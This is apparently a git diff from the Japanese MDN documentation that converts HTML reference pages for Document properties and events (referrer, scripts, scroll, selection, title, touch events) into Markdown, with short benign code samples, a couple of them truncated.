{{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}}{{Spec2('HTML WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}} | {{Spec2('HTML WHATWG')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -
{{Compat("api.Document.referrer")}}
+{{Compat("api.Document.referrer")}} diff --git a/files/ja/web/api/document/scripts/index.md b/files/ja/web/api/document/scripts/index.md index 1f62f7940fd907..bfc41049070376 100644 --- a/files/ja/web/api/document/scripts/index.md +++ b/files/ja/web/api/document/scripts/index.md @@ -11,49 +11,38 @@ tags: - プロパティ translation_of: Web/API/Document/scripts --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} インターフェイスの scripts プロパティは、文書中の {{HTMLElement("script")}} 要素のリストを返します。返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。

+{{domxref("Document")}} インターフェイスの **`scripts`** プロパティは、文書中の {{HTMLElement("script")}} 要素のリストを返します。返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。 -

構文

+## 構文 -
var scriptList = document.scripts;
-
+``` +var scriptList = document.scripts; +``` -

+### 値 -

{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。

+{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。 -

+## 例 -

ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。

+ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。 -
let scripts = document.scripts;
+```js
+let scripts = document.scripts;
 
 if (scripts.length) {
   alert("このページには script 要素があります。");
 }
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}{{ Spec2('HTML WHATWG') }}
- -

ブラウザーの対応

- -
{{Compat("api.Document.scripts")}}
+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}} | {{ Spec2('HTML WHATWG') }} | | + +## ブラウザーの対応 + +{{Compat("api.Document.scripts")}} diff --git a/files/ja/web/api/document/scroll_event/index.md b/files/ja/web/api/document/scroll_event/index.md index 2363837779931d..c1535254c5da60 100644 --- a/files/ja/web/api/document/scroll_event/index.md +++ b/files/ja/web/api/document/scroll_event/index.md @@ -11,46 +11,46 @@ tags: - UIEvent translation_of: Web/API/Document/scroll_event --- -

{{APIRef}}

+{{APIRef}} -

scroll イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。

+**`scroll`** イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。 - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + +
バブリングはい
キャンセル可能いいえ
インターフェイス{{DOMxRef("Event")}}
イベントハンドラープロパティ{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}
バブリングはい
キャンセル可能いいえ
インターフェイス{{DOMxRef("Event")}}
イベントハンドラープロパティ + {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} +
-
-

注: iOS UIWebViews では、スクロールされている最中は scroll イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは Bootstrap issue #16202 をご覧ください。 Safari と WKWebViews ではこのバグは起きません。

-
+> **Note:** **注:** iOS UIWebViews では、スクロールされている最中は `scroll` イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは [Bootstrap issue #16202](https://github.com/twbs/bootstrap/issues/16202) をご覧ください。 Safari と WKWebViews ではこのバグは起きません。 -

+## 例 -

スクロールイベントを抑制する

+### スクロールイベントを抑制する -

scroll イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。

+`scroll` イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。 -

ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では requestAnimationFramescroll を最適化しています。

+ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では `requestAnimationFrame` の `scroll` を最適化しています。 -
// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/
+```js
+// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/
 
 let last_known_scroll_position = 0;
 let ticking = false;
@@ -70,31 +70,21 @@ window.addEventListener('scroll', function(e) {
 
     ticking = true;
   }
-});
- -

その他の類似の例を見るには、 resize イベントページをご覧ください。

- -

仕様

- - - - - - - - - - - - -
仕様書策定状況
{{SpecName('CSSOM View', '#scrolling-events')}}{{Spec2('CSSOM View')}}
+}); +``` + +その他の類似の例を見るには、 [`resize`](/ja/docs/Web/API/Document/defaultView/resize_event) イベントページをご覧ください。 + +## 仕様 + +| 仕様書 | 策定状況 | +| ---------------------------------------------------------------- | -------------------------------- | +| {{SpecName('CSSOM View', '#scrolling-events')}} | {{Spec2('CSSOM View')}} | -

ブラウザー実装状況

+## ブラウザー実装状況 -

{{Compat("api.Document.scroll_event")}}

+{{Compat("api.Document.scroll_event")}} -

関連情報

+## 関連情報 - +- [Element: `scroll` event](/ja/docs/Web/API/Element/scroll_event) diff --git a/files/ja/web/api/document/scrollingelement/index.md b/files/ja/web/api/document/scrollingelement/index.md index e44315b2521f59..4b9a6b9b80780b 100644 --- a/files/ja/web/api/document/scrollingelement/index.md +++ b/files/ja/web/api/document/scrollingelement/index.md @@ -9,51 +9,27 @@ tags: - scrollingElement translation_of: Web/API/Document/scrollingElement --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}}**`scrollingElement`** は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。スクロール可能な {{domxref("Element")}} の参照を返します。スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。後方互換モードでは、`scrollingElement` は HTML の `body` 要素を返します。`body` 要素が存在しないか、それが [スクロール可能](https://drafts.csswg.org/cssom-view/#potentially-scrollable) な場合は null を返します。 -
+## 構文 -
scrollingElement は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。
+``` +var element = document.scrollingElement; +``` -
スクロール可能な {{domxref("Element")}} の参照を返します。
+## 例 -
スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。
- -
- -
後方互換モードでは、scrollingElement はHTMLの body 要素を返します。
- -
body 要素が存在しないか、それが スクロール可能 な場合は null を返します。
- -

構文

- -
var element = document.scrollingElement;
- -

- -
var scrollElm = document.scrollingElement;
+```js
+var scrollElm = document.scrollingElement;
 scrollElm.scrollTop = 0;
-
- -

仕様

- - - - - - - - - - - - - - -
仕様書策定状況コメント
{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}{{Spec2('CSSOM View')}}Initial definition
+``` -

ブラウザー実装状況

+## 仕様 +| 仕様書 | 策定状況 | コメント | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------ | +| {{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}} | {{Spec2('CSSOM View')}} | Initial definition | +## ブラウザー実装状況 -

{{Compat("api.Document.scrollingElement")}}

+{{Compat("api.Document.scrollingElement")}} diff --git a/files/ja/web/api/document/selectionchange_event/index.md b/files/ja/web/api/document/selectionchange_event/index.md index c255bf8328cb0f..bf1b44c604547c 100644 --- a/files/ja/web/api/document/selectionchange_event/index.md +++ b/files/ja/web/api/document/selectionchange_event/index.md @@ -9,73 +9,59 @@ tags: - selectionchange translation_of: Web/API/Document/selectionchange_event --- -

{{APIRef}}

+{{APIRef}} -
-

selectionchange イベントは Selection API の一部で、文書における現在のテキストの選択が変更された際に発生します。

-
+**`selectionchange`** イベントは [Selection API](/ja/docs/Web/API/Selection_API) の一部で、文書における現在のテキストの選択が変更された際に発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}}
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}} +
-

+## 例 -
// addEventListener version
-document.addEventListener('selectionchange', () => {
+```js
+// addEventListener version
+document.addEventListener('selectionchange', () => {
   console.log(document.getSelection());
 });
 
 // onselectionchange version
-document.onselectionchange = () => {
+document.onselectionchange = () => {
   console.log(document.getSelection());
 };
-
+``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}{{Spec2('Selection API')}}初回定義
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}} | {{Spec2('Selection API')}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.selectionchange_event")}}

+{{Compat("api.Document.selectionchange_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/selectstart_event", "selectstart")}}
  • -
  • {{domxref("Document/getSelection", "Document.getSelection")}}
  • -
  • {{domxref("Selection", "Selection")}}
  • -
+- {{domxref("Document/selectstart_event", "selectstart")}} +- {{domxref("Document/getSelection", "Document.getSelection")}} +- {{domxref("Selection", "Selection")}} diff --git a/files/ja/web/api/document/selectstart_event/index.md b/files/ja/web/api/document/selectstart_event/index.md index 3c07388e502ccb..0b78883adc5271 100644 --- a/files/ja/web/api/document/selectstart_event/index.md +++ b/files/ja/web/api/document/selectstart_event/index.md @@ -3,71 +3,59 @@ title: 'Document: selectstart event' slug: Web/API/Document/selectstart_event translation_of: Web/API/Document/selectstart_event --- -
{{APIRef}}
+{{APIRef}} -
-

Selection APIselectstart イベントは新しい選択範囲をユーザが指定した際に発火します。

+[Selection API](/ja/docs/Web/API/Selection) の **`selectstart`** イベントは新しい選択範囲をユーザが指定した際に発火します。 -

イベントがキャンセルされた場合、選択範囲は変更されません。

-
+イベントがキャンセルされた場合、選択範囲は変更されません。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
Bubbles有効
Cancelable有効
Interface{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}}
Bubbles有効
Cancelable有効
Interface{{domxref("Event")}}
Event handler property + {{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}} +
-

+## 例 -
// addEventListener version
-document.addEventListener('selectstart', () => {
+```js
+// addEventListener version
+document.addEventListener('selectstart', () => {
   console.log('Selection started');
 });
 
 // onselectstart version
-document.onselectstart = () => {
+document.onselectstart = () => {
   console.log('Selection changed.');
 };
-
+``` -

仕様

+## 仕様 - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}{{Spec2('Selection API')}}Initial definition.
+| Specification | Status | Comment | +| ---------------------------------------------------------------------------------------- | ------------------------------------ | ------------------- | +| {{SpecName('Selection API', '#selectstart-event', 'selectstart')}} | {{Spec2('Selection API')}} | Initial definition. | -

ブラウザ互換性

+## ブラウザ互換性 -

{{Compat("api.Document.selectstart_event")}}

+{{Compat("api.Document.selectstart_event")}} -

参照

+## 参照 -
    -
  • {{domxref("Document/selectionchange_event", "selectionchange")}}
  • -
+- {{domxref("Document/selectionchange_event", "selectionchange")}} diff --git a/files/ja/web/api/document/stylesheets/index.md b/files/ja/web/api/document/stylesheets/index.md index ad0db7ce39ca2d..b7032da8efcad1 100644 --- a/files/ja/web/api/document/stylesheets/index.md +++ b/files/ja/web/api/document/stylesheets/index.md @@ -13,50 +13,36 @@ tags: translation_of: Web/API/DocumentOrShadowRoot/styleSheets original_slug: Web/API/DocumentOrShadowRoot/styleSheets --- -
{{SeeCompatTable}}{{APIRef("Shadow DOM")}}
+{{SeeCompatTable}}{{APIRef("Shadow DOM")}} -

{{domxref("DocumentOrShadowRoot")}} インターフェイスの styleSheets 読み取り専用プロパティは、 {{domxref('CSSStyleSheet')}} オブジェクトの {{domxref('StyleSheetList')}} を返します。ドキュメントに明示的にリンクまたは埋め込まれたスタイルシートの場合。

+{{domxref("DocumentOrShadowRoot")}} インターフェイスの **`styleSheets`** 読み取り専用プロパティは、 {{domxref('CSSStyleSheet')}} オブジェクトの {{domxref('StyleSheetList')}} を返します。ドキュメントに明示的にリンクまたは埋め込まれたスタイルシートの場合。 -

+## 例 -
function getStyleSheet(unique_title) {
-  for (var i=0; i<document.styleSheets.length; i++) {
+```js
+function getStyleSheet(unique_title) {
+  for (var i=0; i
+```
 
-

Notes

+### Notes -

返されるリストは次の順序で並べられます:

+返されるリストは次の順序で並べられます: -
    -
  • {{htmlelement("link")}} ヘッダから取得したスタイルシートが最初に配置され、ヘッダ順に並べ替えられます。
  • -
  • DOM から取得したスタイルシートは、ツリー順にソートされた後に配置されます。
  • -
+- {{htmlelement("link")}} ヘッダから取得したスタイルシートが最初に配置され、ヘッダ順に並べ替えられます。 +- DOM から取得したスタイルシートは、[ツリー順](https://dom.spec.whatwg.org/#concept-tree-order)にソートされた後に配置されます。 -

仕様

+## 仕様 - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}初回定義
+| 仕様 | ステータス | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}} | {{Spec2('Shadow DOM')}} | 初回定義 | -

ブラウザー実装状況

+## ブラウザー実装状況 - - -

{{Compat("api.DocumentOrShadowRoot.styleSheets")}}

+{{Compat("api.DocumentOrShadowRoot.styleSheets")}} diff --git a/files/ja/web/api/document/title/index.md b/files/ja/web/api/document/title/index.md index 9777cc3b150d90..018f9104d300ce 100644 --- a/files/ja/web/api/document/title/index.md +++ b/files/ja/web/api/document/title/index.md @@ -11,68 +11,58 @@ tags: - Reference translation_of: Web/API/Document/title --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

document.title プロパティは、現在の文書の題名を取得または設定します。

+**`document.title`** プロパティは、現在の文書の[題名](/ja/docs/Web/HTML/Element/title)を取得または設定します。 -

構文

+## 構文 -
var docTitle = document.title;
-
+``` +var docTitle = document.title; +``` -

docTitledocument の題名を含む文字列です。題名が document.title に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記のメモを参照)。

+_docTitle_ は _document_ の題名を含む文字列です。題名が `document.title` に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記の[メモ](#notes)を参照)。 -
document.title = newTitle;
-
+``` +document.title = newTitle; +``` -

newTitle は文書の新しい題名です。代入すると、 document.title の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の <title> 要素の内容など) にも反映されます。

+`newTitle` は文書の新しい題名です。代入すると、 `document.title` の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の `` 要素の内容など) にも反映されます。 -<h2 id="Example" name="Example">例</h2> +## 例 -<pre class="brush:js notranslate"><!DOCTYPE html> -<html> -<head> - <title>Hello World!</title> -</head> -<body> +```js +<!DOCTYPE html> +<html> +<head> + <title>Hello World! + + - <script> + -</body> -</html> -
+ + +``` -

+## 注 -

Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。

+Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。 -

HTML 文書では、 document.title の初期値は <title> 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。

+HTML 文書では、 `document.title` の初期値は `` 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。 -<p>XUL では、文書の読み込みが完了する前に <code>document.title</code> にアクセスした時の動作は未定義です。 <code>document.title</code> が空文字を返す場合があり、また <code>document.title</code> を設定しても効果が表れないかもしれません。</p> +XUL では、文書の読み込みが完了する前に `document.title` にアクセスした時の動作は未定義です。 `document.title` が空文字を返す場合があり、また `document.title` を設定しても効果が表れないかもしれません。 -<h2 id="Specifications" name="Specifications">仕様書</h2> +## 仕様書 -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG','#document.title','document.title')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td></td> - </tr> - </tbody> -</table> +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','#document.title','document.title')}} | {{Spec2('HTML WHATWG')}} | | -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> +## ブラウザーの互換性 -<p>{{Compat("api.Document.title")}}</p> +{{Compat("api.Document.title")}} diff --git a/files/ja/web/api/document/tooltipnode/index.md b/files/ja/web/api/document/tooltipnode/index.md index e0fd684e9d2390..65c050c38f028c 100644 --- a/files/ja/web/api/document/tooltipnode/index.md +++ b/files/ja/web/api/document/tooltipnode/index.md @@ -3,7 +3,7 @@ title: Document.tooltipNode slug: Web/API/Document/tooltipNode tags: - API - - 'API:Mozilla Extensions' + - API:Mozilla Extensions - DOM - Draft - Gecko @@ -13,18 +13,20 @@ tags: - Reference translation_of: Web/API/Document/tooltipNode --- -<p>{{APIRef("DOM")}}{{Non-standard_Header}}</p> +{{APIRef("DOM")}}{{Non-standard_Header}} -<p><code><strong>Document.tooltipNode</strong></code> プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。</p> +**`Document.tooltipNode`** プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。 -<h2 id="Syntax" name="Syntax">構文</h2> +## 構文 -<pre class="syntaxbox notranslate"><var>document</var>.tooltipNode;</pre> +``` +document.tooltipNode; +``` -<h2 id="Specifications" name="Specifications">仕様書</h2> +## 仕様書 -<p>XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。</p> +XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。 -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> +## ブラウザーの互換性 -<p>{{Compat("api.Document.tooltipNode")}}</p> +{{Compat("api.Document.tooltipNode")}} diff --git a/files/ja/web/api/document/touchcancel_event/index.md b/files/ja/web/api/document/touchcancel_event/index.md index 65f4e5423f0319..b9823cb4e0ca77 100644 --- a/files/ja/web/api/document/touchcancel_event/index.md +++ b/files/ja/web/api/document/touchcancel_event/index.md @@ -10,43 +10,43 @@ tags: - touchcancel translation_of: Web/API/Document/touchcancel_event --- -<div>{{APIRef}}</div> +{{APIRef}} -<p><span class="seoSummary"><code>touchcancel</code> イベントは、1つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。</span></p> +`touchcancel` イベントは、1 つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。 <table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>いいえ</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}} + </td> + </tr> + </tbody> </table> -<h2 id="Examples" name="Examples">例</h2> +## 例 -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> +## ブラウザーの対応 -<p>{{Compat("api.Document.touchcancel_event")}}</p> +{{Compat("api.Document.touchcancel_event")}} -<h2 id="See_also" name="See_also">関連情報</h2> +## 関連情報 -<ul> - <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchcancel_event", "touchcancel")}}</li> -</ul> +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchcancel_event", "touchcancel")}} diff --git a/files/ja/web/api/document/touchend_event/index.md b/files/ja/web/api/document/touchend_event/index.md index 612b1effc8760a..a5079f069ee21a 100644 --- a/files/ja/web/api/document/touchend_event/index.md +++ b/files/ja/web/api/document/touchend_event/index.md @@ -1,5 +1,5 @@ --- -title: 'Document:touchend イベント' +title: Document:touchend イベント slug: Web/API/Document/touchend_event tags: - API @@ -16,42 +16,42 @@ tags: - イベント translation_of: Web/API/Document/touchend_event --- -<div>{{APIRef}}</div> +{{APIRef}} -<p><span class="seoSummary"><code>touchend</code> イベントは、タッチ平面から1つ以上のタッチポイントが取り除かれた場合に発生します。</span></p> +`touchend` イベントは、タッチ平面から 1 つ以上のタッチポイントが取り除かれた場合に発生します。 <table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}} + </td> + </tr> + </tbody> </table> -<h2 id="Examples" name="Examples">例</h2> +## 例 -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> +## ブラウザーの対応 -<p>{{Compat("api.Document.touchend_event")}}</p> +{{Compat("api.Document.touchend_event")}} -<h2 id="See_also" name="See_also">関連情報</h2> +## 関連情報 -<ul> - <li>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchend_event", "touchend")}}</li> -</ul> +- {{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchend_event", "touchend")}} diff --git a/files/ja/web/api/document/touchmove_event/index.md b/files/ja/web/api/document/touchmove_event/index.md index b4f9115cdc53c9..800e1466dd37bc 100644 --- a/files/ja/web/api/document/touchmove_event/index.md +++ b/files/ja/web/api/document/touchmove_event/index.md @@ -17,58 +17,49 @@ tags: - イベント translation_of: Web/API/Document/touchmove_event --- -<div>{{APIRef}}</div> +{{APIRef}} -<p><span class="seoSummary"><code>touchmove</code> イベントは、タッチ平面に沿って1つ以上のタッチポイントが移動した場合に発生します。</span></p> +`touchmove` イベントは、タッチ平面に沿って 1 つ以上のタッチポイントが移動した場合に発生します。 <table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}} + </td> + </tr> + </tbody> </table> -<h2 id="Examples" name="Examples">例</h2> +## 例 -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 -<h2 id="Specifications" name="Specifications">仕様書</h2> +## 仕様書 -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - </tr> - <tr> - <td>{{SpecName('Touch Events', '#event-touchmove')}}</td> - <td>{{Spec2('Touch Events')}}</td> - </tr> - </tbody> -</table> +| 仕様書 | 状態 | +| ---------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Touch Events', '#event-touchmove')}} | {{Spec2('Touch Events')}} | -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> +## ブラウザーの互換性 -<p>{{Compat("api.Document.touchmove_event")}}</p> +{{Compat("api.Document.touchmove_event")}} -<h2 id="See_also" name="See_also">関連情報</h2> +## 関連情報 -<ul> - <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{domxref("Element/mousemove_event", "mousemove")}} と {{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchmove_event", "touchmove")}}</li> -</ul> +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{domxref("Element/mousemove_event", "mousemove")}} と {{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchmove_event", "touchmove")}} diff --git a/files/ja/web/api/document/touchstart_event/index.md b/files/ja/web/api/document/touchstart_event/index.md index e5a0b83b4d9d9e..8eb33350df2fe1 100644 --- a/files/ja/web/api/document/touchstart_event/index.md +++ b/files/ja/web/api/document/touchstart_event/index.md @@ -12,43 +12,43 @@ tags: - ウェブ translation_of: Web/API/Document/touchstart_event --- -<div>{{APIRef}}</div> +{{APIRef}} -<p><span class="seoSummary"><code>touchstart</code> イベントは、タッチ平面上に1つ以上のタッチポイントが配置されたときに発生します。</span></p> +`touchstart` イベントは、タッチ平面上に 1 つ以上のタッチポイントが配置されたときに発生します。 <table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>はい</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("TouchEvent")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}} + </td> + </tr> + </tbody> </table> -<h2 id="Examples" name="Examples">例</h2> +## 例 -<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> +これらのイベントのコード例は、指定のページ「[タッチイベント](/ja/docs/Web/API/Touch_events)」で利用できます。 -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> +## ブラウザーの対応 -<p>{{Compat("api.Document.touchstart_event")}}</p> +{{Compat("api.Document.touchstart_event")}} -<h2 id="See_also" name="See_also">関連情報</h2> +## 関連情報 -<ul> - <li><a 